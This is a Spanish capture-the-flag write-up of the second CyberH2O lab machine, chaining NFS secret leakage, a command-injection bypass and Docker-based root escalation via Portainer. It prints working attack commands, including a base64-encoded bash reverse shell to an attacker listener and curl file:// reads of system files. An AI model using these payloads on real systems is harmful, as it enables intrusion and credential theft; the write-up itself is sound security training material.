· Manuel López Pérez · writeups · 6 min read
CyberH2O: Reto 2 – Pentesting en Infraestructuras Híbridas
Write-up de la segunda máquina del cyberchallenge de CyberH2O, un entorno híbrido con contenedores Docker y escalada de privilegios vía Portainer.

🏆 ¡El equipo Ironhackers resultó ganador del CyberH2O Cyberchallenge! 🏆

En esta segunda entrega del cyberchallenge de CyberH2O, nos enfrentamos a una máquina virtual configurada como un entorno híbrido entre contenedores y el propio host. Una cadena de errores de configuración realistas: mala configuración de NFS, gestión deficiente de secretos, inyección de comandos y privilegios en Docker.
Conseguimos resolver los 5 retos encadenados, desde el reconocimiento inicial hasta obtener acceso completo como root.
Resumen Ejecutivo
El proceso de intrusión se desarrolló en varias fases encadenadas:
- Primera flag en un servicio UDP modificado en el puerto 123
- Acceso a un recurso NFS expuesto, donde recuperamos variables sensibles
- Autenticación en el panel web gracias a las credenciales del fichero
.env - Identificación de una vulnerabilidad crítica en el endpoint
/command, que ejecutaba comandos de forma insegura medianteshell=True, permitiendo inyección de comandos mediante sustitución con$() - Acceso al contenedor, descubrimiento de credenciales SSH, acceso al host, y finalmente escalada a root mediante Portainer
Reconocimiento
Escaneo de puertos TCP
El primer paso es identificar qué servicios están escuchando en la máquina. Usamos Nmap con un escaneo completo de puertos:
nmap -p- -T4 192.168.56.101Donde:
-p-→ escanea todos los puertos TCP (del 1 al 65535)-T4→ modo rápido pero estable para entornos de laboratorio

Identificamos tres puertos TCP abiertos:
- 22/tcp → SSH
- 111/tcp → rpcbind (servicios RPC, típico de NFS)
- 8080/tcp → servicio HTTP alternativo (API o panel web)
Lanzamos un segundo escaneo más enfocado para obtener versiones y banners:
nmap -sC -sV -p 22,111,8080 192.168.56.101
Escaneo de puertos UDP
Además del tráfico TCP, algunos servicios interesantes funcionan sobre UDP. Lanzamos:
nmap -T4 -sU -p- 192.168.56.101
Descubrimos el puerto 123/udp (NTP - Network Time Protocol).
Reto 1: Servicio NTP Modificado
Enumeración del puerto 123 (UDP)
Aunque el puerto 123 corresponde normalmente al servicio NTP, en entornos CTF es habitual que los creadores escondan pistas en servicios poco frecuentes.
nmap -sU -sC -sV -p123 192.168.56.101Este escaneo nos devuelve directamente la flag. Confirmamos conectándonos con netcat:

El servicio NTP había sido modificado para devolver una flag al ser consultado:
HACK{WUS1Kp1ZeFZuVDCzuNup}
Reto 2: Secretos en NFS
Enumeración del servicio RPC/NFS (puerto 111)
Al ver el puerto 111/tcp abierto, pensamos en NFS. Enumeramos:
rpcinfo -p 192.168.56.101
El comando showmount nos devuelve que se está exportando un directorio accesible sin restricciones.
showmount -e 192.168.56.101
Lo montamos:
mount -t nfs 192.168.56.101:/opt /mnt/cyberh2o
Dentro encontramos un fichero crítico: .env, típico de aplicaciones web como Laravel o FastAPI. Este archivo contiene variables de entorno, normalmente secretas.

Encontramos la línea:
MY_AWESOME_SECRET=LS0+IEhBQ0t7SmFXekZUalBYbmFLYzBwTXJ9IDwtLQo=Decodificamos el Base64:

Flag: HACK{JaWzFTjPXnaKc0pMr}
Reto 3: Autenticación en el Panel Web
Enumeración del puerto 8080
Abrimos el servicio en el navegador. Parece una API. Usamos FFUF para descubrir rutas:
ffuf -w SecLists/Discovery/Web-Content/common.txt -u http://192.168.56.101:8080/FUZZ
Encontramos documentación en /docs. Probamos los endpoints, pero todos devuelven 401 Unauthorized.
Usando las credenciales del fichero .env
En el fichero .env encontramos:
PANEL_URL=http://localhost:8080
PANEL_COOKIE_ID=user_id
PANEL_COOKIE_VALUE=be0fddbe-9fef-4af8-b66d-099a909a6dd9Probamos la cookie para autenticarnos:
curl -i -X GET \
-H "Cookie: user_id=be0fddbe-9fef-4af8-b66d-099a909a6dd9" \
http://192.168.56.101:8080/

El resultado es 200 OK y accedemos al panel. Navegamos al dashboard:

El título del reto nos da una pista: “El programador ha dejado un secreto en el código de la web.”
Inspeccionamos el código fuente y encontramos una cadena Base64 oculta que no es visible en pantalla:

Decodificamos el Base64: 
Flag: HACK{yZQr0xODO_JPsjLesj4B4Q}
Reto 4: Command Injection y Reverse Shell
Consola del Panel
En la interfaz encontramos un icono que abre una consola integrada que utiliza el endpoint /command.
Probamos diferentes comandos, pero todos devuelven error. Esto nos hace sospechar que hay validación sobre los comandos permitidos.

Fuzzing de comandos permitidos
Utilizamos Burp Intruder para identificar qué comandos acepta el endpoint:

Descubrimos que únicamente los comandos con curl funcionan (Status Code 200).

Local File Inclusion
Probamos si podemos usar curl con la sintaxis file:/// para leer archivos locales:
curl -i -X POST \
-H "Cookie: user_id=be0fddbe-9fef-4af8-b66d-099a909a6dd9" \
-H "Content-Type: application/json" \
-d '{"command": "curl file:///etc/passwd"}' \
http://192.168.56.101:8080/commandFunciona. Leyendo /etc/passwd encontramos que el usuario se llama appuser.

Fuzzing de ficheros con FFUF
Creamos un diccionario para encontrar ficheros interesantes:
ffuf -w /tmp/fuzz.txt \
-X POST \
-H "Cookie: user_id=be0fddbe-9fef-4af8-b66d-099a909a6dd9" \
-H "Content-Type: application/json" \
-d "{\"command\":\"curl FUZZ\"}" \
-u http://192.168.56.101:8080/command \
-fs 1-150
Encontramos que podemos descargar el código fuente con:
curl file:///app/main.py
Análisis del código vulnerable
El código revela la vulnerabilidad en el endpoint /command:
REGEX_SAFE_CURL = re.compile(
r"^\s*curl\s+"
r"[^;&<>'\"\\n\\]*$",
re.IGNORECASE
)
@app.post("/command")
async def handle_command(data: CommandData, ...):
user_input = data.command.strip()
if not REGEX_SAFE_CURL.match(user_input):
raise HTTPException(status_code=400, detail="Command not allowed.")
result = subprocess.run(
user_input,
shell=True, # ¡VULNERABILIDAD!
capture_output=True,
text=True,
timeout=10,
check=True
)La aplicación:
- Solo exige que el comando empiece por
curl - Tiene una REGEX como lista negra que limita caracteres
- Pero el carácter
$está permitido
Explotación: Reverse Shell
Podemos ejecutar comandos como curl localhost/$(whoami). Pero queremos una reverse shell.
En nuestra máquina montamos un listener:
nc -lvp 1337La reverse shell normal sería bloqueada por la regex:
bash -i >& /dev/tcp/192.168.56.1/1337 0>&1
La codificamos en Base64:
echo "bash -i >& /dev/tcp/192.168.56.1/1337 0>&1" | base64
# YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvMTMzNyAwPiYxCg==Enviamos el payload final:
curl localhost/$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvMTMzNyAwPiYxCg== | base64 -d | bash)
¡Salta la reverse shell! Ya podemos ejecutar comandos sin restricciones.
Enumeración del contenedor
Encontramos una base de datos SQLite3:
sqlite3 panel.db
Encontramos credenciales:
watermelon:Disagree5-Suspense9-Voter5-Frantic6-Cinnamon7Y la flag: HACK{zX2fQWvP3E6TgYJ9LmN8RQ}
Reto 5: Escalada de Privilegios vía Docker
Acceso SSH al Host
Usamos las credenciales encontradas para acceder al sistema host:
ssh watermelon@192.168.56.101
La conexión funciona. Ahora tenemos acceso al sistema real, fuera del contenedor.
Enumeración del sistema
Ejecutamos LinPEAS para descubrir vectores de escalada. Destaca:
- Un servicio escuchando en
localhost:9443 - Un archivo
/var/mail/watermeloncon contenido interesante
El correo contiene una pista: Portainer ha sido movido al puerto 9443.

Port Forwarding
Como el servicio está en localhost, hacemos port forwarding:
ssh -L 9443:localhost:9443 watermelon@192.168.56.101Accedemos desde nuestro navegador a https://localhost:9443. Pero Portainer requiere credenciales.

Monitorización de procesos
Ejecutamos pspy para ver procesos en tiempo real. Después de unos segundos observamos:
curl -X POST http://localhost:8000/auth -H "Content-Type: application/json" \
-d '{"user": "administrator", "password": "Elastic4-Stylized3-Sniff0-Crablike9-Idiom1"}'
Probamos las credenciales en Portainer y accedemos como administradores.
Escalada mediante Docker
Cuando un usuario tiene permisos de administrar Docker, puede escalar a root fácilmente.
Portainer nos permite:
- Crear un contenedor
- Adjuntar volúmenes
- Iniciar una shell en ese contenedor
El procedimiento de escalada clásica:
- Creamos un nuevo contenedor (alpine o ubuntu)
- Añadimos un volumen montando todo el sistema de archivos del host en
/rooted - Iniciamos el contenedor
- Abrimos una consola dentro desde Portainer
- Accedemos a la carpeta del root y leemos la flag

Flag final: HACK{vZMVMoPahVU0owErgoChbQ}
Conclusiones
Este reto presentó una cadena de fallos de seguridad muy realista:
| Vulnerabilidad | Impacto |
|---|---|
| Servicio NTP modificado | Fuga de información |
| NFS mal configurado | Exposición de secretos |
Cookies predecibles en .env | Bypass de autenticación |
Command injection (shell=True) | Ejecución remota de código |
| Credenciales en base de datos | Movimiento lateral |
| Docker mal configurado | Escalada a root |
La combinación de técnicas de reconocimiento, fuzzing, análisis de código y explotación de contenedores hizo de este reto una experiencia muy completa y educativa.

